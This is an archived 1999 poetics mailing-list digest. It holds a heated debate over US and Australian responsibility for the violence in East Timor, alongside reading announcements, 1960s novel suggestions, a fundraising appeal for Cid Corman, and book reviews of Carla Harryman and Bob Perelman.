Yes, war with Portugal would have been disastrous, like the mouse who roared. Hell, Portugal is poor, why didn't we just bribe them like everyone else? Surely Chevron had enough moolah.

"The US put Suharto in power; he was a US puppet leader."

As in Vietnam, "puppet" leaders often become less so when they realize they are regarded as puppet leaders. Open the history books. The so called puppet status is always exaggerated. Strings can and are broken.

" Indonesia is still pretty much a US puppet today. And Australia isn't going to go against American interests, if one realistically asseses the nature of modern geopolitics. They share too many interests."

Australia has gone against US interests in the region plenty of times. I'm not buying that argument.

"It is a calculated psychotic rampage. You don't have to see it; the world will go on without your seeing it. Though it would be better if you could see it. The rampage is funded and it has a history of complicity and support. The militias are either indonesians/jakartans that have settled there, finding pay as mercenaries, or even some east timorese deeply scarred from the concentration camp

environment they grew up in. Keep in mind that the killing has been much much much worse in the past than it is now;"

Yes, of course it is calculated. I do see it. The world goes on anyway. You're touching on the local politics now, setting the scene, a scene which requires no US govt to ignite the killings.

"Kissinger and Scowcroft, as representatives of the NSA (though they were also cabinet members) went with Ford on several occasions to visit with Suharto. Following the first visit, Indonesia deployed mercenaries into East Timor. the last visit (Dec. 6, 1975) presaged the full fledged invasion the following day."

I'm going to stop here. I don't know that these two were "representatives" of the NSA. What do you mean by representatives? You mean operatives, don't you? How could the NSA select "representatives" in the common sense of the word? I'm not buying that. I thought NSA was subject to guys like Kissinger, not the other way around. But that must be my naivety again. So what you are implying is that the NSA sanctioned the invasion of Timor, planned it, carried it off for the sake of ... Chevron? For black gold of course. Why else do nations play dirty. Well, why did such a high profile visit have to take place for all to see? Why didn't the NSA just pick up the phone and say go get 'em, or Chevron for that matter? Kissinger had to give his facetoface blessing, I suppose?

"I wished that my country represented democracy and the values of freedom it claims to represent; it is clear that i can no longer naively cling to such a belief."

I don't believe that either Patrick, I just think your explanations are formula in some respects and inadequate to explain the condition of group killing psychosis.

Patrick Herron wrote:

> *Mike, Pete, etc. - I suppose this line is perhaps my responsibility, so let me explicate some basic notions here, as quickly as I can.*
>
> *Since we've had involvement in Indonesia, it must be our fault that the Indonesian army and brother gangs are slaughtering people in churches, hacking them machetes?*
>
> *I think this question oversimplifies the issue. I was addressing complicity and support and motives and awareness. The Indonesians and Americans and Australians all have a share in the responsibility, and to reduce it to "fault" of one group would be irresponsible. I encouraged Pete to include the US accountability.*
>
> *Did they get the machetes from America too?*

No, but the militias are there with US and Australian financial and military support. And it's not all machetes. I believe that your point about who is actually doing the killing is an excellent one, but sometimes people can strongly shape an environment and give orders in exchange for something. If this were not the case then perhaps humans would have never known war.

I suppose if their govt hadn't bought arms from us years ago then all would be peaceful?

Actually, yes. The East Timorese were pretty much left alone by the Portuguese. The East Timorese were a primitive culture in the sense that they didn't have guns or television or refrigerators; they were tribal and isolated from the industrialized world. The US and Australia knew of the vast amount of wealth in the Timor Gap, but couldn't get to it, b/c that would have started a war with Portugal. When Portugal left, there was suddenly an angle that could be played. The US could not afford to deply its own troops, largely b/c of the Vietnam legacy, and also b/c they had someone, namely Suharto, who could do the dirty work for them, keeping the US squeaky clean. Besides, the US wished to prove that it was not abandoning its attempt to control SE Asia, as is reflected in several presidential memos during the time of these visits that you were referring to.

The US put Suharto in power; he was a US puppet leader. Indonesia is still pretty much a US puppet today. And Australia isn't going to go against American interests, if one realistically asseses the nature of modern geopolitics. They share too many interests.

*This
sounds naive to the point of absurdity.*

It sounds like you have an a priori here that is untouchable. Your belief sounds naive to my ears. Naive, but from what perspective? "Ignorance is Strength"? "2+2=5"?

I see no connection with what you are saying and the psychotic rampage fest going on in Timor.

It is a calculated psychotic rampage. You don't have to see it; the world will go on without your seeing it. Though it would be better if you could see it. The rampage is funded and it has a history of complicity and support. The militias are either indonesians/jakartans that have settled there, finding pay as mercenaries, or even some east timorese deeply scarred from the concentration camp environment they grew up in. Keep in mind that the killing has been much much much worse in the past than it is now; also remember that the east timorese were hereded and slaughtered like cattle so that the indonesians could settle there and erase the history of the East Timorese. It is incredible how resilient and strong the East Timorese

people have proven themselves.

You've noted that Kissinger, etc, visited Timor and then the slaughters began. Is there an association here? If so, can you link it for me?

Kissinger and Scowcroft, as representatives of the NSA (though they were also cabinet members) went with Ford on several occasions to visit with Suharto. Following the first visit, Indonesia deployed mercenaries into East Timor. the last visit (Dec. 6, 1975) presaged the full fledged invasion the following day. Suahrto worked for the US government, and the connection being made here, I leave to you to make for yourself. the US media practically ignored the slaughter that followed for the next 4 years. some australian reporters made it in to report the concentration camps, the genocide, and most of those reporters were murdered. Now why would the US media ignore the slaughter? When you look at the companies invested in the exploration of the Timor Gap, their board of directors, and their advertising dollars, and the dead reporters trying to reveal the truth, you can then perhaps start to imagine why coverage starts to disappear.

Must we blame the American gov for it, are we compelled?
And why should the US support Timor seceding when we didn't support South Carolina, and certainly don't support Quebec?

The US government does not support complete secession of East Timor. But, 25 years of slaughter hasn't tamed the populace. Indonesian rule isn't working, clearly. And complete East Timorese independence would be a financial disaster for Phillips 66, BHP, Chevron, Texaco, and several other large companies invested in the exploitation of the Timor Gap, which rests completely on treaties between Australia and Indonesia. And who sits on the board of directors of these companies? People from the Dep't of Defense, Boeing, Lockheed Martin, Knight ridder, Time Warner, Weyerhauser, former Secretaries of State, and on and on. The solution, therefore, is US military presence. replacing one invasion (the indonesian invasion) with another. Perhaps we are going to do good and keep the peace. Most likely a new wave of rebels will disappear and these treaties will be protected or revised so that these companies will still get their share and the East timorese will get nothing but a destroyed environment and exploitation. That's capitalism.

Are we compelled? I am compelled. Completely. And many other informed parties are as well.

but did we do the same in Indonesia? And if we did, does this really account for the murdering we see now?

Yes, at least partially. First, it was never a matter of us just turning our backs; the US government supported it financially and with military

training and intelligence. I blame the idiots running around with machetes just as much as I blame the people who set up the power relation structure in the region. Sadly, the implication of this is that there may never be a good resolution. The US will not let its investments collapse, and if the US did, political heads will roll. Money talks.

I ask you, for example, if you gave a starving person a gun, a person you starved, told him that there's food at the end of the road inside someone's house, and promised him that if he went and fed himself by using that gun to get to the food then you would give him $100, who do you blame? Just blame the beggar? Just blame the deal maker? Both the dealmaker and the beggar are to blame here. But if the beggar was starved by the dealmaker in the first place, then, i think that blame is a personal decision.

And that's if we just stick to blame. Why not use the past, use history and its obscured truths just to inform our present and future decisions? Like by encouraging a UN peacekeeping force without participation from the US, Australia, Britain, New Zealand? I'm not really into blame. I like to be informed and make good decisions and encourage others to do the same. I'm not for throwing anyone in jail here. I'd just like the cycle of atrocities and exploitation to stop.

There's so much history that has led up to this and it is very hard to get any information on how arms are flowing, dollars are being spent, behind the scenes exchanges, etc. Some of us do our best to research what is going on, and admittedly the research is never perfect or unbiased. My bias is that western exploitation of third world nations for export crops and mineral/oil resources and/or drugs, and the deliberate provocation of politically explosive situations for the sake of increasing arms sales is intolerable. I wished that my country represented democracy and the values of freedom it claims to represent; it is clear that i can no longer naively cling to such a belief.

I encourage all of you to use your search engines and research this stuff for yourself, and to trust your faculties and connections in separating the reliable information from the crap. I also encourage you to share the information about what really is happening; I can promise you NBC, The New York Times, and CNN will not.

Patrick Herron

pete spence wrote:

> *please put this out to all mailartists for action. also send a protest*
> *to:*[redacted]
> [redacted]
> [redacted]
> *thanks pete spence*

>
> speak up and out about East Timor. It may also be just
> >as good
> >and probably easier to protest the American gov't for their ongoing role in
> >the slaughter and oppression of the East Timorese. It was the American
> >Gov't. that paid for and supervised the original Indonesian invasion, and
> >the American gov't is trying hard to escape culpability with ambiguous
> >declarations (coming from such shits as Madeline Albright) about the
> >chaotic
> >and oppressive state of affairs while also trying to take any potential
> >actions and tie them up in red tape. Such action clearly gives the
> >Indonesian gov't has a chance to tie up power once again while everyone
> >else
> >takes their time designating panels and working groups. Since a visit by
> >Kissinger, Ford, and Scowcroft to Suharto in July 1975, the Indonesian
> >government, using mostly US-made and US-paid-for weapons and military
> >intelligence support, has killed between 1/4 and 1/3 of the original
> >inhabitants. That's about 200,000-300,000 people. We're talking
> >concentration camps between 1975-1979. Paid for by US taxpayers. Certain
> >people meant business when it all started 24 years ago; I don't think they
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> >East Timorese none of this probably would have happened.
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> >http://www.freetimor.com/
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> >
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> >http://www.etan.org/
> >
> >regards,
> >Patrick Herron
> >
> >
> >>so what the way i see it.. maybe better protest to the
> >indonesian government on the handling of the east timorese might be a
> >better
> >usage of your time; [redacted]
> >
> >thanks pete spence

> _____
> *Get Your Private, Free Email at http://www.hotmail.com*

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Web Del Sol
http://webdelsol.com
LOCUS OF LITERARY ART ON THE WWW

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195. **Michael Neff**
Re: I can't believe it!!!
Tue 14 Sep 1999

> *| I'm listening. Perhaps you can educate me, flow chart me, graph me, time line*
> *| me on just how Kissinger, or Clinton or Nixon or Ford or LaRouche or Moynihan or*
> *| Chuck Rob or whoever in any conspiratorial setting, ignited and guided the*
> *| genocidal gene that compels large groups of people to willfully set fires to*
> *| other large groups of people.*
>
> *do you mean like the use of napalm in Vietnam (or other weapons producing fire in Iraq, or Serbia) or are you thinking of a different more acceptable form of setting fire to people? do tell*
>
> *Lawrence Upton*

I'm against the violence, Larry, so I don't know where you're coming from.

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196. **pete spence**
Re: I can't believe it!!!
Tue 14 Sep 1999

> *Pete,*
>
> *Before I write anyone, help me here, if you can. I'm not following this line of*
> *accusation. I need to be clear.*
>
> *Since we've had involvement in Indonesia, it must be our fault that the Indonesian army and brother gangs are slaughtering people in churches, hacking*
> *them machetes? Did they get the machetes from America too>Mike*

> *i think the info was historik rather than pointing the bone!! america has been a little hypocritical though in its slow response in this situ!! so we decided to look at reasons maybe why. it should also be seen that Australia also has a muddied picture re its interests and of course many other countries. just that we need to use this medium to message people quickly on this type of matter//thanks for yr responder!!!//pete spence*

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197. **pete spence**

Re: US/Aus/Indonesia/E Timor

Tue 14 Sep 1999

>
>Mike, Pete, etc. - I suppose this line is perhaps my responsibility, so let
>me explicate some basic notions here, as quickly as I can.
>>Did they get the machetes from America too?
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>No, but the militias are there with US and Australian financial and
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>support. And it's not all machetes. I believe that your point about who
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>actually doing the killing is an excellent one, but sometimes people can
>strongly shape an environment and give orders in exchange for something.
>If
>this were not the case then perhaps humans would have never known war.
>
. I also encourage you to share
>the
>information about what really is happening; I can promise you NBC, The New
>York Times, and CNN will not.
>
>Patrick Herron
>

the australian input just adds to the suspicion here that everyone in the UN and other involved governments are acting as slow as they can all of them to punish the east timorese for voting the way they did...a lot of australians are absolutely frustrated at the "ready to go" has gotten longer to "go' whyche means more deaths etc i really find it all very ugly//pete spence

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198. **charssmith**

Re: I can't believe it!!!

Tue 14 Sep 1999

In a message dated 9/14/1999 1:55:40 PM Pacific Daylight Time, [redacted] writes:

<< Thus, while the machetes might be a domestic industry in Indonesia, the rifles, troop transport vehicles, paramilitary training, etc., most certainly are not. This aid has been continued under recent administrations with the rationalization that it's the Indonesian military itself that can be counted on to bring the militias back into line. For the sheer ridiculousness of this claim, if one still needs it substantiated, one might turn to Alan Nairn's recent reports on Pacifica Radio, detailing the intimate relationship between the army and the militias. >>

US reporter Alan Nairn was detained by the Indonesian military yesterday & continues to give telephone interviews via satellite. He reports today that uniformed militia members are freely coming & going on the Indonesian military base in Dili where he's being held.

--cs

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199. **John Kimball**

Village Eight

Tue 14 Sep 1999

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http://www.TheEastVillage.com

Volume Eight:

Video

[Wendy Kramer; Alan Sondheim; Lyn Hejinian; Anselm Berrigan; Maggie Zurawski; John Wieners; C D Wright]

Poetry

[Lyn Hejinian; Anselm Berrigan; Maggie Zurawski; John Wieners; Alan Sondheim; Robert Berry; Laurie Price; Araki Yasusada; C D Wright; Brenda Iijima; Simon Shuchat; Daniel Nester; Lissa Wolsak; David Hess; Brendan Lorber; Eileen Myles]

Poetics

[Jena Osman; Bob Perelman; Maria Damon]

Art

[Simon Granger; Kenji Kojima; Paul Ryan; Carol Ganick;
Cho Sang; Daisuke Nicoll; Brenda Iijima; Matthew Barney]

"I walk up the muggy street beginning to sun..."

Video files with audio-only options: Why? Video downloads take time (worth it); audio loads more quickly.

"...and I am sweating a lot by now and thinking..."

Well in the 'cyber' background -- not apparent to readers and viewers -- locations of the archives of this and previous volumes will be shifting / will be shifted, so please enter by the URL above. Thanks.

↑ Index

200. Aaron Fewell
Re: Novels of the Sixties
Tue 14 Sep 1999

In a message dated 9/14/99 10:48:47 AM Eastern Daylight Time, [redacted] writes:

<< Naked Lunch >>

I've tried to read Burrough's Naked Lunch because I'm such a fan of Kerouac and Ginsberb, but I found the text utterly cryptic. I never felt like I had a hold on what was being said and the reading of it was utterly painful, which proved very depressing to me.

Aaron Keith

↑ Index

201. Todd Baron /*/ ReMap Readers
[Fwd: Re: reading]
Tue 14 Sep 1999

This is a multi-part message in MIME format.

> *Celebratory Reading from OVERTIME: SELECTED POEMS BY PHILIP WHALEN (Penguin*
> *Putnam, Inc.) with guest readers Amy Gerstler, Lewis MacAdams,John Thomas, Philomene Long, Michael Rothenberg, Todd Baron, Michael Price, Peter Levitt,*

> *Phoebe MacAdams and Kevin Opstedal. Saturday, September 18, 7:30-9:30 PM at Beyond Baroque Literary Arts Center, 681 Venice Blvd. Venice, CA (one half mile west of Lincoln Blvd). $7 Admission. For more information call: 310/[redacted].*
>
> *Michael Rothenberg*
> *[redacted]*
> *http://www.bigbridge.org*

by penguin.prod.itd.earthlink.net (8.9.3/8.9.3) with SMTP id JAA06817
for <[redacted]>; Tue, 14 Sep 1999 09:23:22 -0700 (PDT)
From: "Michael Rothenberg" <[redacted]>
To: <[redacted]>
References: <[redacted]> <[redacted]>
Subject: Re: reading
Date: Tue, 14 Sep 1999 09:21:21 -0400
charset="iso-8859-1"

Todd,

I've spoken with Dewey five times since he has been on vacation and he keeps saying he's doing something. It really grinds me. I have been at the hospital with Philip everyday almost for the last two weeks and trying to get this together, printed a program, contacted everyone, gonna drive to LA, renting hotel rooms and all this stuff and it does give me heartache. Of course, if you're having a baby, conratulations, that does not fall into the same category of things, and you can post me by e-mail, I'll bring my laptop with me. Below is the information. I thought I sent it to you. I've send press information to the magazines. Also, the announcement of the event has been on the Big Bridge home page for the last four months minus Philomene Long and John Thomas. Well, I guess I just go with it because it will do me no good to get anymore stressed or tired about it. Keep me posted on the good things going on for you this week. Best, MR

Celebratory Reading from OVERTIME: SELECTED POEMS BY PHILIP WHALEN (Penguin Putnam, Inc.) with guest readers Amy Gerstler, Lewis MacAdams,John Thomas, Philomene Long, Michael Rothenberg, Todd Baron, Michael Price, Peter Levitt, Phoebe MacAdams and Kevin Opstedal. Saturday, September 18, 7:30-9:30 PM at Beyond Baroque Literary Arts Center, 681 Venice Blvd. Venice, CA (one half mile west of Lincoln Blvd). $7 Admission. For more information call: 310/[redacted].

Michael Rothenberg
[redacted]
http://www.bigbridge.org

----- Original Message -----
From: Todd Baron /*/ ReMap Readers <[redacted]>
To: Michael Rothenberg <[redacted]>
Sent: Tuesday, September 14, 1999 1:40 PM
Subject: reading

> *dear M:*
>
> *I'm wondering what time the reading is. I've gotten no computer type e mail type hype hype! Sorry to say BB hasn't done a word of gettin it out--not even their new calendar--and so--I don't kow who'll be there--and what time is it? is it friday or saturday of this week?*
>
> *and--the last thing is that I believe I told you my wife I were expectin' a baby? Well, If we're in hospital--as this week is the due date--I will have to bow out. Having no local phone number or such for you--I will leave a mesage at b. b. if that happens.*
>
> *hope this all doesn't give you a heartache.*
>
> *Todd Baron*

----------6E5A70524B6D--

↑ Index

202. **Thomas Bell**
Re: Novels of the 60's
Tue 14 Sep 1999

I remember _V_ - the first - as being much more important at the time - een though this dates me.

tom bell

"Pritchett,Patrick @Silverplume" wrote:
>
> Has no one mentioned Pynchon's _Crying of Lot 49_? Ah, for the vale of San
> Narciso and the halycon tunes of The Paranoids.
>
> Patrick Pritchett

--
//\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\
OOOPSY \//\\\/\//\\\/ <><>,...,.,
WHOOPS J K JOVE BY HHH ZOOOOZ ZEUS'WRATHHTARW
 LLLL STOPG [EMPTY] SPACER

index of online work at http://members.home.net/trbell
essays: http://members.tripod.com/~trbell/criticism/gloom.htm

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203. Katherine Lederer
Good time
Wed 15 Sep 1999

In town or in the mood....

It's an E X P L O S I V E M A G A Z I N E benefit event!

Starring:

K E N N E T H K O C H

E L E N I S I K E L I A N O S

M I C H A E L C O F F E Y

& T I M G R I F F I N

W E D N E S D A Y,
S E P T E M B E R 2 9 , 8:00 PM
311 Church Street, #4
New York, NY
(1.5 blocks So. of Canal)
1/9, ACE, 4/5/6
Call [redacted] with queries.
Donations admired

↑ Index

204. Robert Kendall
Re: hypertext suggestions
Wed 15 Sep 1999

Check out the Word Circuits Directory, which lists dozens of hypertext stories and poems, at http://www.wordcircuits.com/dir.

--Rob

Robert Kendall
E-Mail: [redacted]
Home Page: http://www.wordcircuits.com/kendall

Word Circuits (Hypertext/Cybertext Poetry and Fiction):
http://www.wordcircuits.com

On-Line Class in Hypertext Poetry and Fiction (The New School):
http://www.wordcircuits.com/kendall/htclass.htm

> *-----Original Message-----*
> *From: UB Poetics discussion group [mailto:[redacted]]*
> *On Behalf Of Dodie Bellamy*
> *Sent: Thursday, September 09, 1999 8:18 PM*
> *To: [redacted]*
> *Subject: hypertext suggestions*
>
> *Hi, I have an independent study student who is going to do a hypertext horror piece. I have no problem helping her with the horror end of the project, but also want to suggest some good hypertext pieces and/or theories. I'm sending her the urls of a couple things that have caught my eye, but does anyone have any suggestions of some cut-above hypertext links? Or even books/articles on hypertext?*
>
> *Thanks.*
>
> *Dodie*

↑ Index

205. **david bromige**
novels of the 60's
Wed 15 Sep 1999

Not _The Ginger Man_, Billy. I was reading that in 1957. db

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206. **Jeffrey Jullich**
Cid Corman (more) -Reply
Wed 15 Sep 1999

You might want to try contacting Drue Heinz, or the Drue Heinz Foundation. She/they have funded the $10,000 Drue Heinz Literature Prize, the Academy of American Poets' recent first-time $5,000 McLaughlin Prize, the Drue Heinz Study Center for Drawings and Prints at the National Design Center, the Drue Heinz Lectures at Pittsburgh's Three Rivers Lecture Series, the Royal Oak Foundation Lecture Series, the Drue heinz Chairman of the Department of Drawings and Prints at the Metropolitan and funding for raising the ceiling and arch of the Grand Staircase for the Metropolitan's 125th anniversary, $5,000 for the Committee to Protect Journalists' John S. and James L. Knight

Foundation matching Challenge Grant, the Frank Lloyd Wright exhibition at the Carnegie Museum of Art's (yes) Heinz Architectural Center, the Pierpont Morgan Library's Drue Heinz Book Conservatorship, Oxford's Drue Heinz Professorship of American Literature

and are credited with donations to the Index on Censorship and Scholars Educational Trust, the Lincoln Center Theater Review, Tables of Content II at the Carnegie (table settings exhibition: "In The Formal Birthday Dinner, the centerpiece is a 16th-century French ~plateau~ (or tray), on which the hostess has arranged a chorus of gilt candle-makers and long-stemmed flowers. Meiseen figurines, representing the continents . . ."; see http://www.clpgh.org/cmag/bk_issue/1998/janfeb/feat8.htm),

>>> "Kimmelman, Burt" <[redacted]> 09/12/99 08:08pm >>>
I have just rec'd a letter from Cid Corman and his situation does indeed sound desperate - no money coming in except for charity or loans.

I am taking the liberty of reproducing a small part of the the letter:

"We live modestly and I prefer it so, but homelessness wont [sic] do the trick and there is that possibility - unless some real help occurs.

I don't like playing the beggar. I'm not good at it. But there is no choice."

Best way to get him money (it costs him $35.00 to cash a check) is to have
your bank wire it to his bank:

Cid Corman (account name)
Account Number 095-0010328
Kyoto Shinyo Kinko Bank
Omuro Branch Omuro
Ukyo-ku Kyoto [redacted]
Japan
(bank tel: 075/[redacted]).

Burt Kimmelman

↑ Index

207. Ann Vickery
Trying to Trace Barbara Baracks
Wed 15 Sep 1999

Dear Poetics List,

I'm trying to trace Barbara Baracks who was active in the New York poetry scene in the late seventies. Would anyone have any information on where she might be now?

Thanks,

Ann Vickery

↑ Index

208. Elizabeth Treadwell
Novels of the Sixties
Wed 15 Sep 1999

1._Poor Cow_ by Nell Dunn. A novel about young working class gals in London in the 60s (pubbed then too , and also a BBC film I think). (2.) Also Nell Dunn's _Talking to Women_, interviews with "regular" and writer women of the 60s. Unknown poets, and Edna O'Brien. Very intriguing period piece. 3._In Watermelon Sugar_ by Richard Brautigan. 4. _Truck_ by Katharine Dunn. I think this was pubbed in 1970. FABULOUS girl road novel, total interiority/exteriority mix, pre-Geek Love.

Sounds like a nifty class!
Elizabeth

↑ Index

209. daniel bouchard
Re: believe it!!!
Wed 15 Sep 1999

| And why should the US support Timor seceding when we didn't support South
| Carolina, and certainly don't support Quebec?

"... while the East Timorese independence movement is commonly called 'separatist,' that makes as much sense as calling the French resistance to the Nazi occupation 'separatist')..."

listening?

See <http://www.zmag.org/CrisesCurEvts/Timor/qanda.htm>
for details.

<<<<<<>>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
fax: [redacted]
>>>>>>><<<<<<<<<<<<<<<<<

↑ Index

210. **Steven Clay**

Robert Creeley & Elsa Dorfman: En Famille

Wed 15 Sep 1999

<fontfamily><param>Geneva</param>Granary Books announces the publication of

En Famille

A Poem by Robert Creeley with Photographs by Elsa Dorfman

[Special offer to the Poetics List follows description.]

[The entire book is posted on our website: www.granarybooks.com]

In En Famille, Granary Books presents a collaboration between Robert Creeley and Elsa Dorfman that is honest and lucid, with an awareness and irony that, according to William Corbett, will "ensnare the reader." In twenty-two frank, color photographs, Dorfman presents various kinds of family configurations and generations. The sitters are unglamorized, yet a sense of comfort accompanies their awkwardness. "Dorfman's portraits," writes Corbett, project a clothed nakedness, the blunt familiar fact of physical presence. She does this by a contrivance so simple as to be beyond words." Creeley's poem, too, addresses the tensions of family life, of nurturing and vulnerability, of coming and going. His compelling questions and "homespun lines are as simple as William Blake's Songs of Innocence and Experience" (Corbett).

"Robert Creeley and Elsa Dorfman bring us the real news of the different ways the word 'family' has been made to leap beyond its lexical meanings. Poet and photographer register how family is being re-envisioned by those who live as individuals within a 'securing center.' Beginning with, and subverting, 'I wandered lonely as a cloud,' William Wordsworth's quintessential Romantic image of the self, Creeley writes a poem whose formal structure, its interlocking, echoing pattern of rhymed quatrains, challenges our assumptions about the legacy of Romantic and Modernist poetry. It is not that their legacy or the family should endure in some rigid manner; it's that they have changed and are changing still." -John Yau, poet & critic, author of Active Participant: Robert Creeley and the Visual Arts

Dorfman and Creeley have known one another since the 1960s; En Famille is their second collaboration. Their first, His Idea, was published by Coach House Press in 1975. Dorfman's photographs of Creeley also appear on several of the poet's books, including the University of California's The Collected Poems of Robert Creeley.

Designed by Philip Gallo at The Hermetic Press.

8 1/4" X 6 1/4"; 80 pp; 22 color images, hardback.

ISBN 1-887123-26-1 $19.95

Available at better bookstores, SPD ([redacted]), D.A.P. (1-800-338-BOOK), or direct from the publisher ([redacted]).

Special offer to the Poetics List:

Till Sept 24 En Famille is available at half-price plus $2 shipping (flat rate, surface, anywhere). Send $12 (NY State residents send $12.83) check or cash to Granary Books 568 Broadway NY NY 10012</fontfamily>

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211. Brian Stefans
Review
Wed 15 Sep 1999

--0__=DtKojwzlITCvL37OVrs6o827o0EqzpIOwZyO1NHIDuxH2GLGOrvQc5N6

Ok, I'm probably going to be taken to task for this, but here's a little review I wrote a while ago which isn't going to be published (tho here it is!). It may seem knee-jerky to some, sloppily termed or patronizing to others, but perhaps there's some matter here worth discussing? Or if not, not.

***

Carla Harryman
The Words, After Carl Sandburg's The Rutabaga Stories and Jean-Paul Sartre
O Books

The Words is a radical, perhaps even
--0__=DtKojwzlITCvL37OVrs6o827o0EqzpIOwZyO1NHIDuxH2GLGOrvQc5N6

“bold” deconstruction of the novel or memoir forms, but as opposed to the nouveau roman of Wittig and Robbe-Grillet, it is scattershot in its targets, and doesn’t appear to point to any secure set of objects or themes. Moments of lucidity are interspersed with wrench-in-the-machinery doggerel that makes reading the book a task -- an intellectually challenging one perhaps, but occasionally disheartening as the form is so clearly indebted to Modernist models that, more than a century old, seem to have outlived their usefulness (as models, that is). Somewhere between a Rimbaud declaiming against the snoring Verlaine and Lautreamont swimming with the sharks, Harryman screams the birth of a new feminine consciousness, one that, indeed, goes a long way in subverting the previous century's conception of female passivity: “After childhood, for many

days running I studied people's asses with the slowness of one who has discovered the crucial element in a universal tragedy. I slept too long. I could reach over in bed and feel European history, its density, course through the bloodstream of my adolescent mate. While he slept and breathed equations of collective effort and heroic self-sacrifice, I spread myself across the bed and concentrated on this recurring fantasy: a particle of fog burnt off at midday by the north coast sun." [12] Though Harryman is considered part of the Language generation of writing, it appears that she develops a line quite directly from English Futurist-inflected writers like Mina Loy and Wyndham Lewis -- both staunch critics of any sort of democratic humanism -- and like them shares a penchant for larger-than-life mythological, or Zarathustrean, figures -- though, post-structuralist as she is, her "mail order allegories" [p. 72] are provisional at best. The protagonist -- more a motif -- in The Words is a figure named "Woemess," which seems a pun on the word "woman" and menstrual imagery (or perhaps the aborted fetus, tying her sense of subjectivity in with that of Baudelaire's in "Benediction," in which his mother asked to give birth to a brood of vapors rather than to a poet). She fades in and out of the narrative like a figure in a house of mirrors -- "Woemess baked in the sad plains. She was as unreal as a discovery made elsewhere" starts one chapter -- but occasionally is given to excitable, oracular outbursts: "Woemess put the hat on her head and continued her speech as if she had played all the parts, 'In the recess of the cryptic world, where my arm sings to transcendental wampum, there are emergency vocabularies waiting in the wings to take over when we are failed by categories. If I wanted to, right now, I could paint the picture of the picture, show you the cryptic world, the song, and the wampum. Or a dreary series of irregular rectangles, a repetitious dirge, and money. But if I take you there, we will be gone." [57] There is much philosophical terminology in here, as well as many plays towards fable-like forms and Steinian word-centered writing, but the most salient feature seems to be that of the a new voice of feminine power, albeit one centered around opacity, or moments of overwhelming presence, than master narrative: "Femininity can't be narrated. A theory develops that only what can be ignored can be narrated. Cactus, can it be ignored?" [52] However, though the general texture of the writing is brisk, at times it is repetitive and uncontrolled, and the content, ironically, fails because it is not self-centered enough -- it's the recreation of the struggles of the ego confined more than the hapless, charismatic traces of its enactment. In this way it comes off as a bit academic, artsy, and not philosophical in that unmediated Nietzschean sense that it aspires to -- it doesn't seem to relate to the world. Nonetheless, The Words is a pretty good read, and possibly an interesting anthem for feminism.

--0__=DtKojwzlITCvL37OVrs6o827o0EqzpIOwZyO1NHIDuxH2GLGOrvQc5N6--

↑ Index

212. Brian Stefans
Review
Wed 15 Sep 1999

--0__=pnhhqL1dQ7fMvnjWze4ffc6uxbju2V1gEa79cuxb2cbpa9YN1QAF6rlv

Here's another one from the U: drive, for no particular reason.

***

Bop Perelman
Ten to One, Selected Poems
Wesleyan University Press

Perelman has distinguished himself from his Language peers by moving recently into academic respectability, publishing two books of criticism, the second of which, The Marginalizaton of Poetry, was about the Language movement itself. Temperamentally more congenial than poets such as Bruce Andrews, Lyn Hejinian and Barrett Watten, who have often opted for theoretic density or outright opacity in both poetry and prose, Perelman is considered by many the most accessible or even --0__=pnhhqL1dQ7fMvnjWze4ffc6uxb-ju2V1gEa79cuxb2cbpa9YN1QAF6rlv

“lyrical” Language poet, but one can also say he is the most rational, as his poetry sacrifices common aspects of aesthetic affect -- such as the angst-ridden dialectic between personal expression and the integrity of form -- for a sort of plain-spoken irony in a tradition that can be traced back to the Enlightenment, or which can be linked to more recent concerns with “entropy” (form dissolved into linked gestures). An early poem such as “An Autobiography” is a play on the type of minimal French novelette, and Perelman is quite apt at satirizing the more indulgent, but perhaps also un-American, aspects of this genre, such as the disclosure of repressed sensibility amidst the drama of religious confession: “I wanted to cover my mother with kisses, and for her to have no clothes on. It was quite usual to feel one side of the face getting sunburned, while the other was being frozen. A journey of this kind is no joke. [...] I always wanted to give them to her on her bosom. Be so good as to remember that I lost her, in childbed, when I was barely seven.” Of his “father,” he writes, with metaphysical, Catholic overtones (murder striking at the heart): “I abhorred my father. He brought with him memories of how it feels to be intensely, fiercely hungry. He came and interrupted our kisses.” [p. 2] Oddly, Perelman’s poetry is atypical of Language writing in that it's distrust in the referent is disclosed discursively rather than by example; that is, more like a Barthes than a Bernstein, he appears less concerned with "liberating" language such as to foreground its “presence” than with explaining, casually, perhaps reductively, the links

between syntax and ontology: “No place exists even once. Even before / Birth, earlier made up syntax / Could tell you apart / From a thing or two, nothing waiting / In the wind, spiritual placebo plus / The actual problem of dying.” [“Statement," p. 53] However, like Bernstein, he can be deathly funny, and uses bathos quite well, as in the poem "Oedipus Rex,” which could have been out of Mel Brooke’s History of the World Part I: “What news, ancient uncle, from the transcendental desktop? / KREON: The people, hemmed in by liberal playgrounds / and rightwing communications systems, are dead / or dying. No one’s complaining, mind you, but with the inauguration just hours away the sky seems to be crumbling, and the decibel level in some stadiums is below that of Mallarme’s tomb. / God thought you should know.” [p. 70] Included in the volume is the poem made famous by Frederic Jameson, “China” -- a series of fake captions to news photographs from China, presented alone as a "schizophrenic" but evocative poem -- which in hindsight is witty still, but nonetheless a toned down, less masterful version of a poem from Ashbery’s The Tennis Court Oath. Indeed, Perelman can be faulted for not always achieving aesthetic effects in his poems, as many of them -- including the 6-word-to-a-line poems which intend, conceptually, to flirt with the aleatory, and to counter any "false" notions of the idealism of form -- are rhythmically unvaried or unexciting, or at least lack the sort of decisions that, when made well, inspires the reader’s interest in the meter, sound patterning and images, and by extension the content. The poems work well as “assays” into topical issues -- Chomsky would be happy with such poetry, as it offers no delusions yet shows the connections, like a domesticated Ginsberg -- and welcome open dialogue with its contents (its authority is pedagogically inclined), but one asks: “Is it art?” Perelman, with a nod to Duchamp's subversions of the retina, would delight in the question.

--0__=pnhhqL1dQ7fMvnjWze4ffc6uxbju2V1gEa79cuxb2cbpa9YN1QAF6rlv--

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213. Arielle C. Greenberg
readings at Syracuse, fall 1999
Wed 15 Sep 1999

We have some very interesting writers coming to read at Syracuse University this fall as part of the Raymond Carver Living Writers series. All readings are at 5:45 PM, proceeded by a Q&A with undergrads who are in the Living Writers class and followed by private dinners out with the writer and Syracuse MFA students. If people are interested in making the (schleppy) trip, I'd be happy to play hostess or at least meet up.

